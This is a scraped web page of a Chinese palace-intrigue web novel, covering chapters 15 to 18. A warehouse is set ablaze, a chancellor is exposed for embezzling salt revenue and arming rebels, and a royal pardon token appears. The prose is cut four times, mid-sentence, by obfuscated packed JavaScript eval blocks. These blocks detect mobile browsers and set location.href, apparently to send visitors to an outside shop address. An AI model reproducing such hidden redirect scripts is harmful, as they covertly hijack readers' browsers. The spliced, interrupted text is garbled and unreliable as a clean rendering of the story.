35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545987|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一点幽蓝的火苗在黑暗中跳跃起来,点燃了引线。 火星迅速沿着引线向上蔓延,发出极其细微的“滋滋”声,如同毒蛇的嘶鸣,迅速消失在堆积如山的货架深处。 影一身影一闪,无声无息地退开,如同从未出现过。 仓廪外,风雪更急。 一辆没有任何标识、船舷吃水极深的乌篷大船,如同幽灵般静悄悄地停泊在距离盐铁司仓区不远处的、被厚厚冰层覆盖的河道下游。船头,一个穿着粗布棉袄、包着头巾、身形却依旧难掩风韵的女子,正警惕地眺望着仓区的方向。正是鬼市话事人,霍三娘。她身后,是几十个精悍沉默、气息剽悍的水手。 “报——!三娘!仓区方向有动静!好像……起火了!”一个瞭望的水手压低声音急报。 霍三娘眼神一凛,猛地挥手:“准备接应!记住,是‘赈灾粮’!动作要快!” “轰——!!” 一声震耳欲聋、仿佛天崩地裂般的恐怖巨响,猛地从盐铁司仓区最深处炸开!! 整个大地都在剧烈颤抖!巨大的冲击波如同无形的巨锤,狠狠砸在仓廪厚重的墙壁上!堆积如山的盐袋、铁锭如同被飓风扫过,轰然倒塌!无数木架在狂暴的力量下瞬间扭曲、断裂、粉碎! 紧接着,是第二声!第三声!第四声……! 连绵不绝的**如同沉睡火山的彻底爆发!冲天的火光瞬间撕裂了黑暗的夜空,将漫天飘落的雪沫都映照成了妖异的血红色!巨大的火球翻滚着腾空而起,裹挟着碎裂的木料、铁片、燃烧的货物,如同末日流星般砸向四面八方! 坚固的青石仓墙在恐怖的**冲击下,如同纸糊般被轻易撕开巨大的豁口!熊熊烈焰如同挣脱牢笼的恶魔,从每一个破口、每一扇窗户中疯狂地喷涌而出!滚滚浓烟如同黑色的巨龙,直冲天际,遮天蔽月! 盐在高温下发出噼啪的爆鸣,铁锭被烧得通红软化,流淌成炽热的铁水!堆积的锦缎丝绸瞬间化为飞灰!价值百万的盐铁军械财货,在冲天的烈焰和连绵的**中,以肉眼可见的速度化为乌有! “不——!!” 一声凄厉到非人的、如同濒死野兽般的嘶吼,穿透了震耳欲聋的**声和呼啸的风雪,在仓区入口处炸响! 一辆奢华的四驾马车如同失控般冲入这片火光地狱的边缘,尚未停稳,车帘便被一只戴着翡翠扳指、保养得宜却青筋暴突的手猛地掀开! 当朝首辅,权倾朝野的沈介,在几个心腹护卫的簇拥下,踉跄着冲下马车! 他穿着一身象征着宰辅之尊的深紫色**袍,头戴乌纱,面容儒雅清癯,平日里那双深藏不露、仿佛能洞察一切的眼眸,此刻却死死地、死死地瞪着那片已然化为巨大火球、正发出震天动地哀鸣的仓廪!瞳孔因为极致的惊骇、震怒和难以置信而扩张到了极限!儒雅的面容在冲天的火光映照下扭曲变形,透出一种狰狞的疯狂! 第15章动她先问过本世子的剑 他的心血!他经营多年、用以掌控朝野、蓄养私兵、图谋大事的根基!他沈介最核心的命脉!竟然……竟然就在他眼前,被这滔天烈焰……付之一炬?! “谁?!是谁干的?!”沈介的声音因为极致的愤怒而劈裂、嘶哑,他猛地抓住旁边一个同样吓得魂飞魄散的心腹护卫,指甲几乎要掐进对方的肉里,“给我查!查出来!诛他九族!不!十族!” 就在这时,在距离他不远处,一片尚未被火焰完全吞噬的断壁残垣旁。 两道身影静静地伫立在狂舞的雪花和灼人的热浪之中。 谢凤卿的玄色斗篷在热风中猎猎飞舞,兜帽早已被吹落,露出那张清丽却冰冷如霜的脸庞。跳跃的火光在她眼底燃烧,映照着一种近乎漠然的平静。她手中,正拿着那本盐铁私账。 她缓缓抬起手,迎着沈介那几乎要喷出火来的、充满了极致怨毒和疯狂的目光,将那本账册的最后一页——印着首辅私印、清晰记录了所有肮脏交易的核心证据——猛地撕了下来! 她指尖一松。 那张带着私印的纸页,在灼热的上升气流和狂风的卷动下,如同失去了生命的枯蝶,打着旋儿,飘飘荡荡,朝着沈介的方向飞去。 沈介的目光如同被磁石吸引,死死地钉在那张飘飞的纸页上!当看清那上面熟悉的、代表着他无上权威的私印时,他整个人如同被九天惊雷劈中!浑身剧震!脸上所有的血色瞬间褪尽,化为一片死灰! “谢!氏!庶!女!”沈介从牙缝里挤出这四个字,每一个字都浸透了刻骨的仇恨和难以置信的疯狂,声音嘶哑如同恶鬼,“你!怎!敢——!!” 滔天的怒火和毁灭一切的杀意,如同实质般从他身上爆发出来!他身后的心腹护卫下意识地按住了腰间的刀柄! 然而,就在沈介杀机毕露的瞬间—— 一道身影如同不可逾越的山岳,稳稳地挡在了谢凤卿身前。 是萧御! 他依旧披着那件玄狐大氅,火光映照着他苍白却俊美得惊人的侧脸。他缓缓抬手,摘下了脸上那一直戴着的银质面具。 面具滑落,露出那张属于镇北王世子的、带着久居上位者冰冷威严的脸庞。他深不见底的眸子,如同两口冰封的寒潭,清晰地映出沈介那张因震怒而扭曲的脸。 “沈相,”萧御的声音不高,却清晰地压过了**的余音和火焰的咆哮,带着一种不容置疑的、冰冷的宣告,“她如今,是我镇北王府唯一的世子妃。” 他的目光如同实质的冰锥,狠狠刺向沈介: “动她,先问本世子的剑!” 话音落下的瞬间,萧御猛地伸手,一把揽住谢凤卿纤细却挺直的腰肢! “走!” 他低喝一声,脚下发力,带着谢凤卿,如同两只扑向烈焰的飞蛾,不退反进!朝着旁边一堵被**震塌了大半、火焰尚未完全吞噬的断墙缺口,猛地纵身跃去! “轰隆——!” 就在他们身影消失在那片断壁之后的刹那,一道巨大的、燃烧着熊熊烈火的房梁,带着毁灭一切的威势,狠狠砸落在他们刚刚站立的地方!火星四溅,热浪灼人! 沈介眼睁睁看着那两道身影消失在火海与断壁之后,只留下满地狼藉、冲天的烈焰和他那被狂风吹得几乎贴到脸上的、带着他私印的残破纸页! “啊——!!”沈介发出一声撕心裂肺、充满了不甘、怨毒和彻底失控的嘶吼!他猛地抬手,一把扯下胸前那串象征着宰辅身份的、价值连城的紫檀佛珠,狠狠摔在地上!珠串崩裂,圆润的珠子在火光和雪地里四散滚落! “封锁全城!给我搜!活要见人!死要见尸!”他如同疯魔般对着身边的心腹咆哮,声音劈裂,带着浓重的血腥气。 然而,回应他的,只有盐铁司仓廪在烈火中不断倒塌的轰鸣,以及那映红了半个京城的、绝望的滔天火光。 青帷马车在风雪弥漫的官道上疾驰,将那片燃烧的地狱和首辅疯狂的嘶吼远远甩在身后。 车厢内,琉璃灯盏散发出柔和的光晕。 谢凤卿脱下了沾满烟灰和雪水的斗篷,露出里面素色的劲装。她脸上依旧没什么表情,只是微微有些喘息,额角被火燎到一缕碎发,带着淡淡的焦糊味。 萧御坐在她对面,玄狐大氅随意搭在一边,他脸色比之前红润了些许,呼吸平稳,唯有那双深潭般的眸子,依旧残留着一丝火场搏杀的锐利,此刻正一瞬不瞬地落在谢凤卿身上。 谢凤卿没有看他。她只是从怀中贴身之处,小心翼翼地取出一本崭新的、用上好宣纸装订的册子。 她翻开册子,里面是清秀工整、却力透纸背的字迹。首页清晰地写着: “盐铁转运司腊月盘库实录: 官盐存库,计十万石。 生铁存库,计五十万斤。 军械甲胄,无。 **硝磺,无。 库银存余,计纹银三千七百两。 备注:腊月二十三日夜,天降雷火,焚毁东三仓。所毁盐铁**,价值约计一百三十万两白银。仓督杜衡,失职畏罪,焚身于火海。” 在“杜衡焚身于火海”几个字旁边,还清晰地摁着一个鲜红的指印——正是杜衡本人的指印! 谢凤卿将册子递到萧御面前。 萧御的目光扫过册子上的内容,当看到“杜衡焚身于火海”和那个鲜红指印时,瞳孔深处掠过一丝冰冷的了然。他缓缓抬起眼,看向谢凤卿,低沉的声音在车厢内响起,带着一丝探究和一丝不易察觉的……兴味: “三日后,大朝会……”他顿了顿,目光紧紧锁住谢凤卿沉静的眸子,“你要把这本‘实录’,直接砸到金銮殿上?” 谢凤卿接过他递回的册子,指尖在“盐铁转运司”几个字上轻轻摩挲着。 她没有立刻回答,只是微微侧过头,目光似乎穿透了摇晃的车帘,投向风雪弥漫的、皇城的方向。 昏黄的琉璃灯影下,她唇角极其缓慢地向上勾起。 那笑容不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545988|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再冰冷,反而带着一种近乎妖异的、洞悉一切又掌控一切的算计和……期待。 “不。” 她轻轻合上册子,声音低柔,却如同淬了毒的冰针,清晰地刺入萧御的耳膜: “我要……” “让我们的首辅大人……” “亲自递上去。” 车窗外,风雪呜咽,卷起地上残留的、带着灰烬气息的雪沫。 盐铁司的冲天火光,已将半个京城的夜空染成不祥的橘红。 霍三娘的乌篷船载着“赈灾粮”,悄然消失在冰河下游的黑暗里。 而谢凤卿掌心那本崭新的“实录”,墨迹未干,却已散发着致命的硝烟味。 棋盘上,杀招已递至御前。 三日后,金銮殿的晨钟敲响时,便是图穷匕见之刻。 景阳钟,三响! 沉雄浑厚的钟声穿透雪后初晴的凛冽空气,震得琉璃瓦上细碎的积雪簌簌滑落。巍峨的金銮殿前,汉白玉阶如一条凝固的冰河,倒映着天光。身着各色朝服的文武百官,如同被无形丝线牵引的木偶,垂首屏息,鱼贯而入。靴底踏过冰冷坚硬的金砖,发出沉闷压抑的回响,每一次落地都仿佛敲在紧绷的心弦上。殿内巨大的蟠龙金柱耸立,支撑着绘满祥云的藻井穹顶,愈发显得空旷肃杀,弥漫着无声的硝烟气息。 就在这令人窒息的沉寂几乎凝固成实质时,殿门口的光影骤然被一道炽烈的色彩撕裂! 谢凤卿来了。 她不是缓步徐行,而是以一种沉凝如山、锐利如剑的姿态,踏入了这片属于男人的权力角斗场。一身正红世子妃朝服,金线密织的鸾凤云纹在殿门透入的天光下流淌着冷硬的辉泽,将她苍白却毫无惧色的面容映衬得如同寒玉雕成。那抹极致的红,在一片深紫、绯红、青绿的朝服**中,是唯一的异色,也是唯一燃烧的火焰。 她的双手稳稳托着一只紫檀托盘,其上三件物品,如同三把即将出鞘的利刃,寒光凛凛: 一卷深褐色、边缘磨损的厚重账册——那是盐铁司的黑账,浸透了盐户的血泪。 半枚青铜铸造、形制古朴的虎符——沉寂的兵权,蛰伏的凶兽。 一块玄铁铸造、刻着复杂饕餮纹的令牌,中心赫然是一个阴刻的“沈”字——首辅沈介的私印信物。 “嘶——” 死寂瞬间被打破。无数道目光如同被磁石吸引,死死钉在她身上,钉在她手中那三件东西上。惊愕、震骇、鄙夷、探究……种种情绪在无数张面孔上交织变幻,汇成一片压抑的嗡嗡议论。 “世子妃?她竟敢…上朝?!” “成何体统!后宫妇人……” “那…那令牌是…沈相的?!” “她捧的什么?虎符?!她想干什么?” “疯了!真是疯了!” 议论声浪不高,却如无数细密的针,扎在金殿紧绷的空气里。 ——小猫有话说 女主的嫡姐谢云姝是重生的 第16章私吞盐利,资敌叛军 高踞龙椅之上的皇帝萧睿,冕旒垂下的玉珠微微晃动,遮住了他眼底瞬间掠过的深沉暗芒。他的目光扫过托盘,最终落在谢凤卿那张过于平静的脸上,指尖在冰冷的龙首扶手上轻轻叩了一下,意味不明。 就在这惊涛初起的当口,一个威严沉冷的声音如同冰锥,骤然刺穿了所有的嘈杂! “陛下!”首辅沈介,这位权倾朝野数十年的老臣,猛地出列,撩起厚重的紫袍下摆,直挺挺地跪倒在冰冷坚硬的御阶之前。他须发微颤,脸上是恰到好处的悲愤与沉痛,声音却字字如刀,清晰地劈向殿中那抹刺眼的红:“臣沈介,泣血陈奏!世子妃谢氏,为一己之私,胆大包天,竟于前夜纵火焚毁京郊官仓,毁我朝廷重地!更在事后,捏造伪证,构陷忠良!此等行径,骇人听闻,实乃祸乱朝纲之大逆!请陛下明鉴,速将此妖妇拿下,依律严惩,以儆效尤,以正视听!” 他的控诉掷地有声,带着积威深重的压迫感,瞬间将矛头死死钉在谢凤卿身上。不少依附于他的官员,脸上立刻浮现出或真或假的愤慨,目光如刀,恨不得将那红衣女子当场撕碎。 然而,沈介话音落下的余音尚在金殿梁柱间回荡,另一股力量,如同沉寂已久的火山,轰然爆发! “陛下!臣等亦有本奏!” 御史台三位素以刚直闻名的清流御史,竟在众人惊愕的目光中,齐齐出列,毫不犹豫地撩袍跪倒!他们跪的位置,紧邻着沈介,却如同泾渭分明的两个阵营。 为首的老御史须发皆白,声音却洪亮如钟,带着一股豁出去的决绝:“臣御史中丞周正,携同僚王焕、李牧,冒死**当朝首辅沈介!沈介身居宰辅,位极人臣,不思报国,反结党营私,勾结盐铁转运使,以权谋私,擅开盐铁之禁!更胆大包天,私设盐场,侵吞国帑,贪墨盐铁之利,累计竟达白银一百三十二万七千八百两之巨!其罪罄竹难书,人神共愤!臣等泣血叩请陛下,彻查首辅沈介,将其明正典刑,以谢天下!” “轰——!” 如果说沈介的指控是点燃了**桶,那么三位御史这石破天惊的联名**,无异于将整个**库都彻底引爆!巨大的声浪在金殿中炸开,百官再也无法抑制,惊呼、质问、议论声浪排山倒海般涌起。 “一百三十二万两?!” “私开盐铁?这…这简直是挖朝廷的根基啊!” “周疯子他们不要命了?竟敢当庭**沈相?” “盐铁案!真的是盐铁案!有人捅破了天!” 龙椅之上,萧睿的瞳孔骤然收缩。冕旒玉珠的晃动幅度明显增大。他锐利的目光如鹰隼般扫过跪在阶下的沈介,后者跪姿依旧笔直,但紧抿的嘴角和微微抽动的眼睑,泄露了他内心的惊涛骇浪。最终,皇帝的目光,缓缓地、沉沉地,落在了风暴中心——那个依旧捧着托盘、脊背挺直如青松的红衣女子身上。 “谢氏,”萧睿的声音不高,却带着不容置疑的威压,瞬间压下了殿中所有的喧嚣,“沈相所控纵火毁仓、构陷忠良之罪,三位爱卿所劾首辅贪墨盐铁之罪…皆与你有关。你有何话说?”那眼神,看似公允,深处却翻涌着审视、试探与一丝不易察觉的冷意。 所有的目光,瞬间聚焦于谢凤卿一身。 金殿的空气仿佛凝固成了粘稠的胶质,连呼吸都带着沉重的阻力。谢凤卿迎着那万千道或恶意或惊疑的目光,迎着龙椅上那道深不可测的审视,脸上依旧平静无波。她没有立刻开口,只是缓缓地、极其郑重地将手中沉重的紫檀托盘放在了冰冷光洁的金砖地上。那一声轻响,在死寂的大殿中清晰得令人心悸。 她弯腰,拾起托盘中最厚实的那卷深褐色账册。指尖拂过粗糙的封面,动作带着一种近乎虔诚的庄重。然后,她猛地将其翻开! “哗啦——” 纸张摩擦的声音在落针可闻的大殿中异常刺耳。她没有看任何人,目光只落在手中的账册上,清冷的声音如同冰泉击石,一字一句,清晰地流淌开来,带着令人无法质疑的力量: “启禀陛下。此为盐铁转运使司甲字库,天启二十三年六月至天启二十四年三月,官盐入库登记总册副本。”她指尖精准地点在某一页,“此页所载,六月入库官盐,总计——十万担整。” 百官下意识屏息,目光不由自主地随着她的指尖移动。 谢凤卿手腕一翻,又拿起托盘上另一本明显是私册的账簿,迅速翻开另一页,声音陡然拔高,字字如刀:“此乃首辅大人京郊别院——‘静园’地下私库,同期盐铁出入明细!其上白纸黑字,六月存盐——十五万担!”她抬起头,目光如冷电,直射向阶下面色铁青的沈介,“十万入库,十五万存库!敢问首辅大人,那多出的五万担官盐,是天上掉下来的,还是地里长出来的?!” “轰!”殿内再次哗然!十万对十五万!五万担官盐的差额!这是何等触目惊心的数字! 不等众人消化这骇人的数字,谢凤卿的手又精准地翻到另一处:“再看硝石、硫磺!官册所载,去年九月,拨付北疆戍边军需之硝石五千斤,硫磺三千斤!”她的手指重重戳在沈介私库账册的某一行,声音带着凛冽的杀意:“然则,静园私库同期出库记录——硝石一万斤,硫磺六千斤!运抵北疆黑风寨——此乃朝廷通缉之叛军‘黑风骑’老巢所在!” 她猛地合上账册,那一声响如同惊雷炸在每个人心头。她环视四周,目光扫过一张张惊骇失色的脸,最终定格在龙椅之上:“陛下!盐铁乃国之命脉!而首辅沈介,不仅私吞盐利,更胆大包天,将可铸兵刃、制**之禁物,源源不断输送给北疆叛军!此等行径,与通敌叛国何异?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545989|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妖言惑众!血口喷人!”沈介终于按捺不住,猛地从地上站起,指着谢凤卿,须发戟张,厉声咆哮,声音因极致的愤怒和一丝不易察觉的恐慌而微微扭曲:“陛下明鉴!此女用心歹毒至极!这账册,分明是她精心伪造,意图构陷于臣,祸乱朝纲!伪造朝廷机要文书,此乃十恶不赦之死罪!请陛下即刻将此妖妇拿下,处以极刑,以正国法!” 他吼得声嘶力竭,试图用声势掩盖内心的惊涛骇浪。殿中依附于他的官员也纷纷鼓噪起来:“伪造!定是伪造!”“妖妇该死!”“请陛下严惩!” 面对汹涌的指责和扑面而来的杀意,谢凤卿非但没有退缩,唇角反而勾起一抹极冷、极锋利的弧度。那笑意,如同淬毒的寒冰,看得沈介心头猛地一沉。 “伪造?”她轻轻重复着这两个字,声音不高,却带着一种奇异的穿透力,瞬间压下了所有的喧嚣。在无数道目光的聚焦下,她缓缓弯下腰,从紫檀托盘上,拾起了那块玄铁铸造、饕餮纹缠绕的令牌。 她将令牌高高举起,让那玄黑的色泽、狰狞的纹路,以及令牌中心那个阴刻得深入铁骨的“沈”字私印,清晰地暴露在满殿文武、以及高踞龙椅的皇帝眼前! “首辅大人,口口声声说账册是伪造。”谢凤卿的声音陡然拔高,如同出鞘的利剑,直指沈介,“那这块令牌呢?!这可是从你静园密室之中,由你的心腹管家亲手奉上的信物!其上所铸‘沈’字私印,难道也是我谢凤卿能凭空捏造出来的不成?!” 她手腕一翻,将令牌印面朝外,对着沈介,也对着满朝文武,厉声质问:“伪造?那这印呢?!这能调动你遍布十三州死士、掌控无数隐秘渠道、如你亲临的首辅私印——难道也是假的?!” “嗡——!” 整个金銮殿彻底沸腾了!如果说账册上的数字还有**可能,那么这块代表着沈介绝对权威、绝不可能轻易离身的私印令牌,就是无可辩驳的铁证!尤其是那些并非沈介嫡系的官员,此刻看向沈介的眼神,充满了难以置信的震惊和一种被愚弄的愤怒。 “令牌…是真的!我见过沈相心腹持此令办事!” “私印…那确实是沈相的私印!错不了!” “天啊…私吞盐利,资敌叛军…竟是真的?!” 巨大的哗然声浪几乎要掀翻金殿的屋顶。沈介如遭雷击,脸色瞬间惨白如金纸,身体难以控制地晃了一晃,死死盯着那块令牌,嘴唇哆嗦着,喉咙里发出“嗬嗬”的声响,却一个字也吐不出来。巨大的恐惧和荒谬感攫住了他,他精心构筑了几十年的权位高塔,在这一刻,被这块小小的令牌,狠狠凿开了一道致命的裂缝! “够了!” 一声雷霆般的暴喝,如同九天惊雷,带着无上君威轰然炸响!震得殿中嗡嗡的回响瞬间死寂。 第17章太祖龙纹玉玦 龙椅之上,皇帝萧睿猛地站起!冕旒玉珠激烈碰撞,发出清脆急促的碎响。他脸色铁青,胸膛因盛怒而微微起伏,那双深不见底的眼眸死死锁定阶下的谢凤卿,里面翻涌着被冒犯的滔**火与一丝被逼到角落的冰冷杀机!帝王之怒,伏尸百万!那沉重的威压如同实质的海啸,瞬间席卷了整个金殿,压得所有人噤若寒蝉,几乎喘不过气。 “谢凤卿!”萧睿的声音如同淬了冰的刀锋,每一个字都带着碾碎一切的寒意,“咆哮金殿,污蔑当朝首辅,罪证真假未明便妄下断语…谁给你的胆子如此放肆?!真当朕不敢杀你吗?!” “杀”字出口,森然刺骨!殿内温度骤降,空气仿佛冻结。御阶两侧肃立的金甲武士,手已悄然按上了刀柄,只待皇帝一声令下,便要上前拿人! 就在这千钧一发、杀机毕露的瞬间! 一直如同影子般侍立在龙椅旁、须发皆白、眼观鼻鼻观心的老太监赵全,那双浑浊的老眼里,骤然掠过一丝极其复杂、仿佛沉淀了数十年光阴的异芒。他佝偻的身躯似乎微微挺直了一瞬,动作快得如同错觉。只见他极其隐蔽地从宽大的袍袖中,捧出了一个巴掌大小、通体漆黑、毫无纹饰的陈旧锦盒。 在满殿死寂、皇帝杀意达到顶点的这一刻,老太监赵全以一种与其年龄不符的敏捷,趋前一步,双膝跪地,将那个毫不起眼的黑漆锦盒,高高举过了头顶! “陛下息怒!”赵全的声音带着一种奇异的穿透力,瞬间打破了令人窒息的杀机,“老奴斗胆,请陛下…且看此物!” 萧睿的雷霆之怒被这突兀的打断硬生生截住。他猛地扭头,鹰隼般的目光死死钉在那个其貌不扬的锦盒上。一丝极其隐晦的、混杂着惊疑与某种深埋记忆被触动的情绪,在他眼底一闪而逝。 “何物?”萧睿的声音低沉得可怕。 赵全深深叩首,额头触及冰冷金砖:“回陛下…此乃…太祖皇帝临终密诏所托…言明非谢氏血脉生死存亡之际,不得现世…老奴…奉旨保管四十七载矣!”他的话语带着岁月的沧桑和不容置疑的郑重。 “太祖密诏?”萧睿的眉头死死拧紧,心中的惊疑瞬间压过了怒火。满朝文武更是被这突如其来的转折震得目瞪口呆,目光死死聚焦在那小小的锦盒上。 “呈上来!”萧睿的声音带着不容置疑的威压。 赵全膝行上前,小心翼翼地将锦盒放在御案之上。萧睿伸出微带一丝不易察觉颤抖的手指,拨开了那简单的铜扣。 “咔哒。” 一声轻响,在死寂的大殿中清晰得如同心跳。 盒盖开启。 没有珠光宝气,没有炫目光芒。盒内,只有一块约莫半掌大小、温润古朴的玉玦静静躺在明黄的锦缎上。玉质是罕见的羊脂白玉,纯净无瑕,更令人心神剧震的是,那玉玦之上,竟以鬼斧神工之技,天然盘绕着一条栩栩如生、鳞爪飞扬的游龙!龙身蜿蜒,龙首微昂,透着一股睥睨天下的威严,正是大胤太祖皇帝独有的龙纹印记! “太祖龙纹玉玦?!”不知是谁失声惊呼出来。 “轰!”一股无声的冲击波瞬间席卷了整个金銮殿!所有人都认出了这件传说中的圣物!它是太祖皇帝随身信物,更象征着至高无上的天命所归!它的出现,本身就带着开国帝王的煌煌威压! 萧睿的目光死死钉在玉玦之上,脸色变幻不定。他伸出手,指尖带着一丝微不可查的迟疑,轻轻拈起玉玦。玉玦入手温润,却仿佛有千钧之重。他翻过玉玦,目光落在锦盒底部——那里,一张色泽泛黄、边缘磨损的薄薄绢帛,静静地躺在那里。 他拿起绢帛,展开。上面只有寥寥数行字,墨迹古旧,笔力却苍劲雄浑,带着开国帝王的磅礴气魄,正是太祖皇帝御笔亲书: “朕承天命,开大胤基业。谢氏有功于国,血脉尊荣。此龙玦为凭。后世子孙谨记:凡谢氏嫡脉之女,若执此玦,无论所犯何罪,可免死一次。钦此。” 字字如铁,力透纸背!落款处,一方小小的、鲜红如血的“受命于天”太祖印玺,刺目惊心! “免…免死一次?!”沈介离得最近,他看清了绢帛上的字迹,也看清了那方印玺。如同被一道九天神雷劈中头顶,他整个人瞬间僵直,瞳孔剧烈收缩,脸上血色褪尽,只剩下死灰般的绝望和一种见了鬼似的、无法理解的震骇!他死死盯着谢凤卿,嘴唇哆嗦着,一个几乎不可能、却足以颠覆一切的念头如同毒蛇般钻入他的脑海:“帝星血脉?!她…她难道是…?!” 整个金殿,陷入了一种绝对的、令人毛骨悚然的死寂!落针可闻!所有声音都被那小小的玉玦和绢帛所代表的滔天意义彻底扼杀!百官如同被施了定身法,连呼吸都忘了。太祖遗诏!免死金牌!还是专属于谢氏嫡女的免死金牌!这简直颠覆了所有人的认知! 在这足以将人灵魂都冻结的死寂中,谢凤卿动了。 她迎着皇帝萧睿那双翻涌着惊涛骇浪、复杂得难以言喻的眼眸,迎着满朝文武呆滞震骇的目光,一步一步,重新走到御阶之前。她微微仰起头,目光沉静而坚定,没有丝毫劫后余生的庆幸,只有一种破釜沉舟的决绝。 然后,她伸出了手,并非祈求,而是等待。 萧睿握着那块温润的龙纹玉玦,指节因为用力而泛白。他居高临下地看着阶下的女子,看着她眼中那簇燃烧的、仿佛能焚毁一切的火焰。时间仿佛凝固了许久。最终,一丝极其隐晦的、被强行压下的阴鸷在他眼底掠过。他缓缓地、极其缓慢地,松开了手指。 那枚象征着太祖遗泽、代表着一次绝对赦免的龙纹玉玦,落入了谢凤卿的掌心。 玉玦入手微凉,却仿佛蕴含着滚烫的力量。谢凤卿紧紧握住它,然后,在无数道目光的注视下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545990|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她猛地将握着玉玦的拳头高高举起!那姿态,如同托起一轮沉甸甸的太阳! 她的声音再次响起,清越而坚定,如同穿云裂石的金石之音,响彻在死寂的金殿: “太祖皇帝遗泽在上!臣妾谢凤卿,今日执此玉玦,不为己身免死求生!”她目光如炬,扫过一张张惊愕的脸,最终落回龙椅之上,一字一句,重逾千钧:“只为那被私盐盘剥、流离失所的万千盐户!为那被贪墨军饷、忍饥挨冻的戍边将士!为那被叛军屠刀所害、血染疆土的大胤子民!臣妾今日所求,非一己之私利,乃——天下人心之公道!朗朗乾坤之清明!” 声音在金殿巨大的穹顶下回荡,带着一种不容置疑的力量和悲壮。那高举的玉玦,在殿外透入的天光下,龙纹流转,仿佛活了过来,无声地昭示着某种天命所归的威严。 萧睿的脸色在冕旒的阴影下变幻不定。他看着那高举的玉玦,看着阶下女子眼中那不容动摇的意志,胸中翻涌的杀意与忌惮如同两头凶兽在疯狂撕咬。太祖遗诏,免死金牌,当着满朝文武的面…他贵为天子,此刻竟被逼到了退无可退的墙角! “好!好一个‘天下人心之公道’!”萧睿的声音响起,带着一种强行压抑的平静,却比刚才的暴怒更令人心头发寒。他缓缓坐回龙椅,冕旒玉珠的晃动平息下来,但那双眼睛,却幽深得如同寒潭。“太祖遗诏,朕…自当遵从。” 他顿了一顿,目光如冰冷的刀锋刮过阶下依旧僵立、面无人色的沈介,最终落回谢凤卿身上,一字一句,如同冰珠砸落金砖: “谢氏女凤卿,执太祖龙玦,依遗诏,赦免…今日一切言行之过。” 此言一出,如同在滚油中泼入一瓢冷水!赦免了!在太祖玉玦的威压下,皇帝亲口赦免了谢凤卿方才所有的“放肆”! “然,”萧睿话锋陡然一转,声音陡然拔高,带着不容置疑的决断,“盐铁一案,事关国本,牵连甚广!首辅沈介,身负嫌疑,难辞其咎!”他猛地一拍龙案,发出“砰”的一声巨响:“即日起,剥去沈介首辅冠带,褫夺一切爵禄,贬为庶民!着刑部、大理寺、都察院三司会审,严查盐铁贪墨、私运军资、勾连叛军一案!务必查个水落石出,不得徇私!” “噗通!” 沈介再也支撑不住,双腿一软,如同被抽掉了所有骨头,重重地瘫跪在冰冷坚硬的金砖地上!紫袍委地,象征着无上权柄的玉带散落,昔日高高在上的首辅,瞬间跌入尘埃,只剩下一个白发散乱、眼神空洞绝望的苍老躯壳。完了,彻底完了!几十年苦心经营,毁于一旦! 然而,就在这尘埃似乎落定的瞬间! 瘫跪在地的沈介,那空洞绝望的眼底,猛地爆发出最后一丝疯狂的、如同困兽般的怨毒凶光!他猛地发出一声不似人声的嘶吼,右手快如闪电地拔下头顶固定发髻的、一根尖锐无比的乌木长簪! 第18章交出兵权,便是人为刀俎,我鱼肉 “**!老夫纵死,也要拉你陪葬!” 他如同垂死的毒蛇,爆发出最后的力量,身体从地上弹起,握着那根尖锐如**的乌木簪,带着同归于尽的疯狂,狠狠扑向几步之外的谢凤卿!目标直指她的咽喉!速度快得只留下一道残影! “卿卿小心!”一声惊怒交加、肝胆俱裂的暴喝几乎同时炸响! 一道玄青色的身影,如同离弦之箭,带着不顾一切的决绝,从谢凤卿身后斜刺里猛冲而出!是萧御! 他毫不犹豫地用自己的身体,严严实实地挡在了谢凤卿身前! “噗嗤!” 一声令人牙酸的、利刃刺入血肉的闷响,清晰地传遍死寂的大殿! 时间仿佛在这一刻凝固。 